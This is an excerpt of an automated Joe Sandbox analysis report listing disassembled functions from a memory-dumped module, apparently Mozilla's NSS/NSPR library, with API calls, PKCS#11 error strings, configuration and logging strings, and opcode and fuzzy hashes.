Function 6C694DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C695125

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: ebaa2e94088d78c8c80073dc0fdb097ced412401b0e2d28aaf53b5172db32116
Instruction ID: 826559f2a9d25413419ee12995902eb41e3c7a11193af4ccc0ae7207644daf12
Opcode Fuzzy Hash: ebaa2e94088d78c8c80073dc0fdb097ced412401b0e2d28aaf53b5172db32116
Instruction Fuzzy Hash: 1AE14A70A083418FDB54DF29D88466ABBF0FFCA308F51862DF89997251E7749985CBC2

Function 6C815E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C815B90: PR_Lock.NSS3(00010000,?,00000000,?,6C6FDF9B), ref: 6C815B9E
Part of subcall function 6C815B90: PR_Unlock.NSS3 ref: 6C815BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C815E23,6C6FE154), ref: 6C815EBF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: ec2a2a53018bbdca82154cbfbece55f3dba7b9826034141d05ba9ed6cc5bf0e6
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: E4519D72E0021A8FCB18CF59C9819AEF3F2FF88314B19456DD815B7745D730A941CBA0

Function 6C7CDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c65b7ca4f8bf9a2a7c430f11555ce316c27f9fa4e20194675d3d72cea7ae65
Instruction ID: 43133cb5014ca07440ca977e0e8e27a4ac72752b04fd630fb5eafcf2f53bb965
Opcode Fuzzy Hash: 83c65b7ca4f8bf9a2a7c430f11555ce316c27f9fa4e20194675d3d72cea7ae65
Instruction Fuzzy Hash: CFF16B71B012068FDB08CF19C994BAA77B2BF89318F294178D8599B741CB35ED42CBD6

Function 6C761DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 53225a7b55ee110dae0b0959cd24f43606579e3e8c6751d98791ff9f608d4b57
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: CBD15832E096568BDB518E19C9883DA7763AB85328F1D8328CC646BFC6C37BD905C7D0

Function 6C6F8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c804beb60f152f28dace6ad1841ca4e00470d3f5c7fbbae6553bd1ced87328c
Instruction ID: 6d01779a70063dd31bdc8cd446351add9e5bd9461fd1d0e177660f244c9b9ba6
Opcode Fuzzy Hash: 1c804beb60f152f28dace6ad1841ca4e00470d3f5c7fbbae6553bd1ced87328c
Instruction Fuzzy Hash: 6411E632A012158FE714CF16D88475AB366BF8735CF0442AAD4254FA61C379D887C7C9

Function 6C7D0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8270500a4d13d0788092da27e000c401982113a0db392efca0c4a3888b01cffb
Instruction ID: 7611a9fb2afe6f60a53a9659bab54f9304f44d0e65880126670835a006925ae8
Opcode Fuzzy Hash: 8270500a4d13d0788092da27e000c401982113a0db392efca0c4a3888b01cffb
Instruction Fuzzy Hash: 4B11CE787043458FCB10DF28D8846AA7BA2FF85368F14807DD8198B701DB71E806CBA4

Function 6C743FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: a9fef800a9de135204074a25d75fa4a888e3830aa2a9259bfc588f5d1d0ce530
Instruction ID: 79c048c17cad82dcc04769b25fd6ea0539a6986167ae0a8b0cacbd89815c27e9
Opcode Fuzzy Hash: a9fef800a9de135204074a25d75fa4a888e3830aa2a9259bfc588f5d1d0ce530
Instruction Fuzzy Hash: 13F0BE70A007598BCB10DF28C9441AAB7F4FF09258F008229EC89AB301EB30AAC4C7C1

Function 6C7D0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 46a34d47090a901f2c604abb865012d1dc264d9dca7e274dea12d43a830c5657
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 16E0923A202054A7DB148E09D555AA97359DF81619FB6907FCC5D9FA01D733F8038781

Function 6C6FCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9729af56fd808d51013a7c62880715b7cba419c9d2f2411846c1edeea55c7f
Instruction ID: e79cab1be96054b9d411e3fc04eb36d59bc3cd0820cfeda0c6bae4f122609af2
Opcode Fuzzy Hash: 7f9729af56fd808d51013a7c62880715b7cba419c9d2f2411846c1edeea55c7f
Instruction Fuzzy Hash: 5AC04838248608CFC744DE09E4999A83BA8AB8AA10B0400A4EA428B722DA21F800CA81

Function 6C731D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C731D46), ref: 6C732345

Strings

CKR_SIGNATURE_INVALID, xrefs: 6C7320CF
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7322FF
CKR_MUTEX_BAD, xrefs: 6C731F49
CKR_PIN_LOCKED, xrefs: 6C732075
rv = 0x%x, xrefs: 6C732312
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C731F0F
rv = %s, xrefs: 6C732340
CKR_WRAPPED_KEY_INVALID, xrefs: 6C731FB5
CKR_PIN_EXPIRED, xrefs: 6C73206B
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C731F77
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C73227F
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7320D9
CKR_STATE_UNSAVEABLE, xrefs: 6C732037
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C73218D
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C731EE1
CKR_OPERATION_ACTIVE, xrefs: 6C7322B8
CKR_DEVICE_ERROR, xrefs: 6C73229D
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C732327
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C731DE0
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C73232E
CKR_MUTEX_NOT_LOCKED, xrefs: 6C732225
CKR_NEXT_OTP, xrefs: 6C73222F
CKR_PIN_INCORRECT, xrefs: 6C731D92
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C73226B
CKR_DEVICE_MEMORY, xrefs: 6C731FF3
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C732275
CKR_INFORMATION_SENSITIVE, xrefs: 6C7322B1
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C731F95
CKR_RANDOM_NO_RNG, xrefs: 6C7322A7
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C732015
CKR_PIN_LEN_RANGE, xrefs: 6C732061
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C732320
CKR_FUNCTION_REJECTED, xrefs: 6C732289
CKR_OK, xrefs: 6C731DFC
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C73204D
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C731F8B
CKR_DEVICE_REMOVED, xrefs: 6C732261
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C731FD7
CKR_PIN_INVALID, xrefs: 6C732057
CKR_BUFFER_TOO_SMALL, xrefs: 6C732183
CKR_NEW_PIN_MODE, xrefs: 6C731E9F
CKR_SAVED_STATE_INVALID, xrefs: 6C731E56
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C732319
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C732179
CKR_TOKEN_NOT_PRESENT, xrefs: 6C731F81
CKR_FUNCTION_CANCELED, xrefs: 6C731E73
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C732293, 6C73233F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 2c70205694d0fb8287f33a46dda1639a4a00d3983633f6d33a2a73d2ca963089
Instruction ID: d50a36ba4a699c05d4cc1004e740b8d89991a10af9cbf3d31047de330408f04a
Opcode Fuzzy Hash: 2c70205694d0fb8287f33a46dda1639a4a00d3983633f6d33a2a73d2ca963089
Instruction Fuzzy Hash: 0261133068E178C7D63C444C876D36C22249753305FA8F97BE78E8EE93D666CA4946D3

Function 6C765DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C765E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C765E5C
free.MOZGLUE(00000000), ref: 6C765E7E
free.MOZGLUE(00000000), ref: 6C765E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C765EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C765EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C765EF0
free.MOZGLUE(00000000), ref: 6C765F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C765F5B
free.MOZGLUE(00000000), ref: 6C765F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C765FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C765FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C765FC4
free.MOZGLUE(00000000), ref: 6C765FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C765FE9
free.MOZGLUE(00000000), ref: 6C765FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C76600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C766027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C76605A
PR_smprintf.NSS3(6C83AAF9,00000000), ref: 6C76606A
free.MOZGLUE(00000000), ref: 6C76607C
free.MOZGLUE(00000000), ref: 6C76609A
free.MOZGLUE(00000000), ref: 6C7660B2
free.MOZGLUE(?), ref: 6C7660CE

Strings

configDir=, xrefs: 6C765F9D
secmod=, xrefs: 6C765FB1
%s/%s, xrefs: 6C766055
flags, xrefs: 6C765E3A, 6C765EC6, 6C765F30
pkcs11.txt, xrefs: 6C765F47, 6C765F7C, 6C76603A, 6C766053
forceSecmodChoice, xrefs: 6C765F55
noModDB, xrefs: 6C765EEA
readOnly, xrefs: 6C765E56
secmod.db, xrefs: 6C765EA0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 0e47bf9a4df5924d9bb5fdd9432f2a69db1109b8ef3d9039a5425ab00acc8985
Instruction ID: ac926977577535b8a902f06a6bc4cd8e4e7980bf39ae0864e080f4ff4717480f
Opcode Fuzzy Hash: 0e47bf9a4df5924d9bb5fdd9432f2a69db1109b8ef3d9039a5425ab00acc8985
Instruction Fuzzy Hash: 829104F4A042115BEF518F66EE85BAA3BA8AF0634CF480470EC559BF43E735D904D7A2

Function 6C6F1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C6F1DA3

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C6F1DB2

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C6F1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C6F1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C6F1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C6F1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C6F1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C6F1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C6F1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C6F1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6F1F83
PR_SetLogFile.NSS3(00000000), ref: 6C6F1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C6F1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C6F1FCB
free.MOZGLUE(00000000), ref: 6C6F1FD2

Strings

all, xrefs: 6C6F1F0E
append, xrefs: 6C6F1EE6
bufsize, xrefs: 6C6F1E9B
NSPR_LOG_FILE, xrefs: 6C6F1F69
timestamp, xrefs: 6C6F1EC4
sync, xrefs: 6C6F1E46
, %n, xrefs: 6C6F1E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C6F1E27
Unable to create nspr log file '%s', xrefs: 6C6F1FB3
NSPR_LOG_MODULES, xrefs: 6C6F1DAD

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 91281a54c66ac7e5f7516d04a502fc9df9b306961d7b7014433fb635d8362ee4
Instruction ID: 32ce58ac8811d77771b78f3c59bc443fd376ad517b0ff0148703fa434250f8c4
Opcode Fuzzy Hash: 91281a54c66ac7e5f7516d04a502fc9df9b306961d7b7014433fb635d8362ee4
Instruction Fuzzy Hash: 2251E1B1E042199BEF10DBE5CD48B9E77F9AF0538CF040928E829DBA01E374D419CB99

Function 6C7D6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C69BE66), ref: 6C7D6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C69BE66), ref: 6C7D6E98
sqlite3_snprintf.NSS3(?,00000000,6C83AAF9,?,?,?,?,?,?,6C69BE66), ref: 6C7D6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C69BE66), ref: 6C7D6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C69BE66), ref: 6C7D6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C69BE66), ref: 6C7D6FA6
sqlite3_snprintf.NSS3(?,00000000,6C83AAF9,00000000,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C69BE66), ref: 6C7D701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C69BE66), ref: 6C7D7030
